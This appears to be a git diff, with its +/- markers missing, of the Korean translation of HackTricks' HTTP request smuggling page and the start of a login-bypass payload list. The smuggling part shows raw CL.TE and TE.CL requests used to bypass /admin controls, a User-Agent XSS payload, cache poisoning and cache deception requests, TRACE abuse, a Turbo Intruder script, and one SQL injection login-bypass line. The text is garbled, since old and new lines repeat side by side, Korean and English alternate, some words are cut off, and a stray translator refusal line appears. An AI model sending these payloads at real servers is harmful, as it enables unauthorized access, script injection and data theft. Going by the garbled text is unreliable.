* 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 인해 요청을 청크로 처리하 나머지 데이터를 별도의 후속 요청으로 해석합니다.
* 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 인해 요청을 청크로 처리하며, 나머지 데이터를 별도의 후속 요청으로 해석합니다.
* **예제:**
```
@ -95,12 +95,12 @@ GET /404 HTTP/1.1
Foo: x
```
#### TE.CL 취약점 (프론트엔드에서 Transfer-Encoding 사용, 백엔드에서 Content-Length 사용)
#### TE.CL 취약점 (프론트엔드에서 사용되는 Transfer-Encoding, 백엔드에서 사용되는 Content-Length)
* **프론트엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
* **백엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
* **공격 시나리오:**
* 공격자 청크 크기(`7b`)와 실제 콘텐츠 길이(`Content-Length: 4`)가 일치하지 않는 청크 요청을 보냅니다.
* 공격자 청크 크기(`7b`)와 실제 콘텐츠 길이(`Content-Length: 4`)가 일치하지 않는 청크 요청을 보냅니다.
* 프론트엔드 서버는 `Transfer-Encoding`을 존중하여 전체 요청을 백엔드로 전달합니다.
* 백엔드 서버는 `Content-Length`를 존중하여 요청의 초기 부분(`7b` 바이트)만 처리하고 나머지는 의도하지 않은 후속 요청의 일부로 남깁니다.
* **예제:**
@ -123,13 +123,13 @@ x=
```
#### TE.TE 취약점 (둘 다 Transfer-Encoding을 사용하, 난독화 포함)
#### TE.TE 취약점 (둘 다 Transfer-Encoding을 사용하는 경우, 난독화 포함)
* **서버:** 둘 다 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 무시하도록 속일 수 있습니다.
* **공격 시나리오:**
* 공격자가 난독화된 `Transfer-Encoding` 헤더가 포함된 요청을 보냅니다.
* 공격자는 난독화된 `Transfer-Encoding` 헤더가 있는 요청을 보냅니다.
* 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하는지에 따라 CL.TE 또는 TE.CL 취약점이 악용될 수 있습니다.
* 요청의 처리되지 않은 부분은 서버 중 하나에서 후속 요청의 일부가 되어 스머글링으로 이어집니다.
* 요청의 처리되지 않은 부분은 서버에서 후속 요청의 일부가 되어 스머글링으로 이어집니다.
* **예제:**
```
@ -149,9 +149,9 @@ Transfer-Encoding
: chunked
```
#### **CL.CL 시나리오 (프론트엔드와 백엔드 모두 Content-Length 사용)**
#### **CL.CL 시나리오 (프론트엔드와 백엔드 모두에서 사용되는 Content-Length)**
* 두 서버는 요청을 오로지 `Content-Length` 헤더만 기반으로 처리합니다.
* 두 서버는 오직 `Content-Length` 헤더만을 기반으로 요청을 처리합니다.
* 이 시나리오는 일반적으로 스머글링으로 이어지지 않으며, 두 서버가 요청 길이를 해석하는 방식이 일치합니다.
* **예제:**
@ -221,7 +221,7 @@ For **more information about hop-by-hop headers** visit:
## Finding HTTP Request Smuggling
HTTP 요청 밀어내기 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 서버가 조작된 요청에 응답하는 데 걸리는 시간을 관찰함으로써 달성할 수 있습니다. 이러한 기법은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다:
HTTP 요청 밀반입 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대한 서버의 응답 시간을 관찰하는 데 의존합니다. 이러한 기법은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾기 위해 사용할 수 있는 다른 전략과 도구가 있습니다:
### Finding CL.TE Vulnerabilities Using Timing Techniques
@ -241,11 +241,11 @@ A
0
```
* **Observation:**
* 프론트엔드 서버는 `Content-Length`를 기반으로 요청을 처리하고 메시지를 조기에 차단합니다.
* 프론트엔드 서버는 `Content-Length`에 따라 요청을 처리하고 메시지를 조기에 차단합니다.
* 백엔드 서버는 청크 메시지를 기대하며 도착하지 않는 다음 청크를 기다려 지연이 발생합니다.
* **Indicators:**
* 응답의 타임아웃 또는 긴 지연.
* 때때로 상세한 서버 정보와 함께 백엔드 서버에서 400 Bad Request 오류를 수신합니다.
* 백엔드 서버로부터 400 Bad Request 오류를 수신하며, 때때로 자세한 서버 정보가 포함됩니다.
### Finding TE.CL Vulnerabilities Using Timing Techniques
@ -264,13 +264,13 @@ Content-Length: 6
X
```
* **Observation:**
* 프론트엔드 서버는 `Transfer-Encoding`을 기반으로 요청을 처리하고 전체 메시지를 전달합니다.
* 백엔드 서버는 `Content-Length`를 기반으로 메시지를 기대하며 도착하지 않는 추가 데이터를 기다려 지연이 발생합니다.
* 프론트엔드 서버는 `Transfer-Encoding`에 따라 요청을 처리하고 전체 메시지를 전달합니다.
* 백엔드 서버는 `Content-Length`에 따라 메시지를 기대하며 도착하지 않는 추가 데이터를 기다려 지연이 발생합니다.
### Other Methods to Find Vulnerabilities
* **Differential Response Analysis:**
* 요청의 약간 변형된 버전을 전송하고 서버 응답이 예상치 못한 방식으로 다르게 나타나는지 관찰하여 구문 분석 불일치를 나타냅니다.
* 요청의 약간 변형된 버전을 전송하고 서버 응답이 예상치 못한 방식으로 다르게 나타나는지 관찰하여 파싱 불일치를 나타냅니다.
* **Using Automated Tools:**
* Burp Suite의 'HTTP Request Smuggler' 확장과 같은 도구는 다양한 형태의 모호한 요청을 전송하고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
* **Content-Length Variance Tests:**
@ -284,10 +284,10 @@ X
**Key Considerations**
요청 밀어내기 취약점을 테스트할 때 다른 요청에 간섭할 때 유의해야 할 사항:
요청 밀반입 취약점을 테스트할 때 다른 요청에 간섭할 때 유의해야 할 사항:
* **Distinct Network Connections:** "공격" 요청과 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다.
* **Consistent URL and Parameters:** 두 요청 모두 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격 전제 조건입니다.
* **Consistent URL and Parameters:** 두 요청 모두 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격을 위한 전제 조건입니다.
* **Timing and Racing Conditions:** "정상" 요청은 "공격" 요청의 간섭을 감지하기 위해 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청 직후에 "정상" 요청을 전송합니다. 바쁜 애플리케이션은 결론적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
* **Load Balancing Challenges:** 로드 밸런서 역할을 하는 프론트엔드 서버는 요청을 다양한 백엔드 시스템에 분배할 수 있습니다. "공격" 요청과 "정상" 요청이 서로 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 로드 밸런싱 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
* **Unintended User Impact:** 공격이 다른 사용자의 요청(탐지를 위해 보낸 "정상" 요청이 아님)에 의도치 않게 영향을 미친다면, 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 지속적인 테스트는 다른 사용자에게 방해가 될 수 있으므로 신중한 접근이 필요합니다.
@ -296,9 +296,9 @@ X
### Circumventing Front-End Security via HTTP Request Smuggling
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 밀어내기를 이용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 대한 무단 접근이 가능합니다. 예를 들어, `/admin`에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 밀어낸 HTTP 요청 내에 포함된 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 밀반입을 이용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 대한 무단 접근이 가능합니다. 예를 들어, `/admin`에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 밀반입된 HTTP 요청 내의 내장 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
다음 예제는 HTTP 요청 밀어내기를 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여줍니다. 특히 일반적으로 프론트엔드 프록시가 보호하는 `/admin` 경로를 목표로 합니다:
다음 예제는 HTTP 요청 밀반입을 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여줍니다. 특히 일반적으로 프론트엔드 프록시가 보호하는 `/admin` 경로를 목표로 합니다:
**CL.TE Example**
```
@ -317,7 +317,7 @@ Content-Length: 10
x=
```
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 사용되고, 이후의 임베디드 요청은 `Transfer-Encoding: chunked` 헤더를 활용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 임베디드 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다.
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 사용되고, 이후에 포함된 요청은 `Transfer-Encoding: chunked` 헤더를 활용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 포함된 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다.
**TE.CL 예제**
```
@ -335,13 +335,13 @@ a=x
0
```
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이후의 임베디드 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 `GET /admin` 요청을 간과하여, 의도치 않게 제한된 `/admin` 경로에 대한 접근을 허용합니다.
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이후의 임베디드 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 `GET /admin` 요청을 간과하여, 제한된 `/admin` 경로에 대한 접근을 우연히 허용합니다.
### 프론트엔드 요청 재작성 공개 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### 프론트엔드 요청 재작성 드러내기 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 들어오는 요청을 수정한 후 백엔드 서버에 전달합니다. 일반적인 수정 사항은 클라이언트의 IP를 백엔드에 전달하기 위해 `X-Forwarded-For: <IP of the client>`와 같은 헤더를 추가하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 우회** 또는 **숨겨진 정보나 엔드포인트를 드러내는 방법**을 밝혀낼 수 있기 때문에 중요할 수 있습니다.
프록시가 요청을 어떻게 변경하는지 조사하기 위해, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -403,7 +403,7 @@ HTTP Request Smuggling은 **Reflected XSS**에 취약한 웹 페이지를 악용
* 대상 사용자와의 상호작용이 **필요하지 않습니다**.
* HTTP 요청 헤더와 같이 **일반적으로 접근할 수 없는** 요청의 일부에서 XSS를 악용할 수 있습니다.
용자 에트 헤더를 통해 웹사이트가 반사된 XSS에 취약한 경우, 다음 페이로드는 이 취약점을 악용하는 방법을 보여줍니다:
사이트가 User-Agent 헤더를 통해 반사된 XSS에 취약한 경우, 다음 페이로드는 이 취약점을 악용하는 방법을 보여줍니다:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -424,27 +424,27 @@ Content-Type: application/x-www-form-urlencoded
A=
```
이 페이로드는 취약점을 악용하기 위해 다음과 같이 구조화되었습니다:
이 페이로드는 취약점을 악용하기 위해 다음과 같이 구성됩니다:
1. `Transfer-Encoding: chunked` 헤더를 사용하여 밀반입의 시작을 나타내는 일반적인 `POST` 요청을 시작합니다.
2. 이어서 `0`을 추가하여 청크된 메시지 본문의 끝을 표시합니다.
3. 그런 다음, `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트를 주입하여 서버가 이 후속 요청을 처리할 때 XSS를 트리거하는 밀반입된 `GET` 요청이 도입됩니다.
1. `Transfer-Encoding: chunked` 헤더가 있는 일반적인 `POST` 요청을 시작하여 밀반입의 시작을 나타냅니다.
2. 다음에 `0`이 오며, 이는 청크된 메시지 본문의 끝을 표시합니다.
3. 그런 다음, `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트가 주입된 밀반입된 `GET` 요청이 도입되어, 서버가 이 후속 요청을 처리할 때 XSS가 트리거됩니다.
밀반입을 통해 `User-Agent`를 조작함으로써, 페이로드는 일반 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사된 XSS 취약점을 악용합니다.
밀반입을 통해 `User-Agent`를 조작함으로써, 페이로드는 정상 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사된 XSS 취약점을 악용합니다.
#### HTTP/0.9
{% hint style="danger" %}
사용자 콘텐츠가 **`Content-type`**이 **`text/plain`**인 응답에 반영되는 경우 XSS 실행을 방지합니다. 서버가 **HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다**!
사용자 콘텐츠가 **`Content-type`**이 **`text/plain`**인 응답에 반영되는 경우, XSS 실행이 방지됩니다. 서버가 **HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다**!
{% endhint %}
HTTP/0.9 버전은 1.0 이전의 버전으로, **GET** 동사만 사용하며 **헤더**로 응답하지 않고 본체만 응답합니다.
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 이용하여 HTTP/0.9로 요청을 밀반입하는 방식으로 악용되었습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로 응답은 `Content-Type``text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 악용하여 HTTP/0.9로 요청을 밀반입했습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로, 응답은 `Content-Type``text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
### HTTP 요청 밀반입을 통한 사이트 내 리디렉션 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
응용 프로그램은 종종 리디렉션 URL의 `Host` 헤더에서 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 후행 슬래시 없이 폴더를 요청하면 슬래시를 포함하도록 리디렉션됩니다:
응용 프로그램은 종종 리디렉션 URL의 `Host` 헤더에서 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 후행 슬래시가 없는 폴더를 요청하면 슬래시를 포함하도록 리디렉션됩니다:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -484,9 +484,9 @@ Location: https://attacker-website.com/home/
### HTTP 요청 스머글링을 통한 웹 캐시 오염 활용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
웹 캐시 오염은 **프론트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**할 경우 실행될 수 있으며, 일반적으로 성능을 향상시키기 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다.
웹 캐시 오염은 **프론트엔드 인프라의 콘텐츠를 캐시하는** 어떤 구성 요소라도 있을 경우 실행될 수 있으며, 일반적으로 성능 향상을 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다.
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [기본 예제](./#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 캐시에서 `/index.html`의 콘텐츠로 대체되어 사용자가 `/static/include.js`에 접근할 수 없게 되며, 이는 서비스 거부(DoS)로 이어질 수 있습니다.
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [기본 예제](./#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 `/index.html`의 내용으로 캐시에서 대체되어 사용자가 `/static/include.js`에 접근할 수 없게 되며, 이는 서비스 거부(DoS)로 이어질 수 있습니다.
이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 사이트 내 리다이렉트**가 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 광범위한 교차 사이트 스크립팅(XSS) 공격을 가능하게 합니다.
@ -508,20 +508,20 @@ Content-Length: 10
x=1
```
내장된 요청이 `/post/next?postId=3`를 타겟으로 하고 있음을 주목하십시오. 이 요청은 **Host 헤더 값**을 사용하여 도메인을 결정하며 `/post?postId=4`로 리디렉션됩니다. **Host 헤더**를 변경함으로써 공격자는 요청을 자신의 도메인으로 리디렉션할 수 있습니다 (**온사이트 리디렉션에서 오픈 리디렉션**).
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
성공적인 **소켓 오염** 후, `/static/include.js`에 대한 **GET 요청**이 시작되어야 합니다. 이 요청은 이전의 **온사이트 리디렉션에서 오픈 리디렉션** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져옵니다.
After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
그 후, `/static/include.js`에 대한 모든 요청은 공격자의 스크립트의 캐시된 내용을 제공하여 광범위한 XSS 공격을 효과적으로 시작합니다.
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
### HTTP 요청 밀반입을 사용하여 웹 캐시 기만 수행하기 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?**
>
> * **웹 캐시 오염**에서는 공격자가 애플리케이션이 악성 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
> * **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
> * **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하며, 이 콘텐츠는 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
> * **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
공격자는 민감한 사용자 특정 콘텐츠를 가져오는 밀반입 요청을 작성합니다. 다음 예를 고려하십시오:
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -532,17 +532,17 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
이 스머글된 요청이 정적 콘텐츠(예: `/someimage.png`)를 위한 캐시 항목을 오염시키면, 피해자의 `/private/messages`의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다.
이 스머글된 요청이 정적 콘텐츠(예: `/someimage.png`)를 위한 캐시 항목을 오염시키면, 피해자의 `/private/messages`의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다.
### HTTP 요청 스머글링을 통한 TRACE 남용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**이 게시물에서**](https://portswigger.net/research/trace-desync-attack) 서버에 TRACE 메서드가 활성화되어 있다면 HTTP 요청 스머글링으로 이를 용할 수 있다고 제안합니다. 이는 이 메서드가 서버에 전송된 모든 헤더를 응답 본문의 일부로 반영하기 때문입니다. 예를 들어:
[**이 게시물에서**](https://portswigger.net/research/trace-desync-attack) 서버에 TRACE 메서드가 활성화되어 있다면 HTTP 요청 스머글링으로 이를 용할 수 있다고 제안합니다. 이는 이 메서드가 응답 본문의 일부로 서버에 전송된 모든 헤더를 반영하기 때문입니다. 예를 들어:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
죄송합니다. 요청하신 내용을 처리할 수 없습니다.
응답을 다음과 같이 보낼 것입니다:
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -559,7 +559,7 @@ HEAD 응답에는 `Content-Length` 헤더가 포함되므로, **TRACE 요청의
### HTTP 응답 분할을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**이 게시물**](https://portswigger.net/research/trace-desync-attack) 계속 따라가는 것이 TRACE 메서드를 악용하는 또 다른 방법을 제안합니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 밀반입하면 HEAD 요청에 대한 응답에서 **일부 반영된 데이터를 제어할 수 있습니다**. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며, TRACE 요청에 대한 응답으로 형성됩니다.
[**이 게시물**](https://portswigger.net/research/trace-desync-attack) 계속 따라가는 것이 TRACE 메서드를 악용하는 또 다른 방법을 제안합니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 밀반입하면 HEAD 요청에 대한 응답에서 **일부 반영된 데이터를 제어할 수 있습니다**. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며, TRACE 요청에 대한 응답으로 형성됩니다.
따라서 새로운 아이디어는 이 Content-Length와 TRACE 응답에서 제공된 데이터를 알고 있을 때, TRACE 응답이 Content-Length의 마지막 바이트 이후에 유효한 HTTP 응답을 포함하도록 만들어 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 하는 것입니다 (이는 캐시 오염을 수행하는 데 사용될 수 있습니다).
@ -605,7 +605,7 @@ Content-Length: 50
```
### HTTP 요청 스머글링을 HTTP 응답 비동기화로 무기화하기
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할지 모르겠습니까? 다음의 다른 악용 방법을 시도해 보세요:
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할지 모르겠다면, 다음의 다른 악용 방법을 시도해 보세요:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
@ -629,7 +629,7 @@ HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할
### CL.TE
[https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)에서 가져옴
From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
@ -735,7 +735,7 @@ table.add(req)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

View file

@ -1,27 +1,28 @@
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
<summary>Support HackTricks</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 웹 앱, 네트워크 및 클라우드에 대한 해커의 관점 얻기
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
이 목록에는 **XPath, LDAP 및 SQL 인젝션을 통한 로그인 우회 페이로드**가 포함되어 있습니다(그 순서대로).
이 목록에는 **XPath, LDAP 및 SQL 인젝션을 통한 로그인 우회를 위한 페이로드**가 포함되어 있습니다(그 순서대로).
이 목록을 사용하는 방법은 **첫 200줄을 사용자 이름과 비밀번호로 입력하는 것입니다.** 그런 다음, 사용자 이름 입력란에 전체 목록을 먼저 넣고 비밀번호 입력란에 어떤 비밀번호(예: _Pass1234._) 또는 알려진 사용자 이름(예: _admin_)을 넣습니다.
```
@ -832,7 +833,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -849,7 +850,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
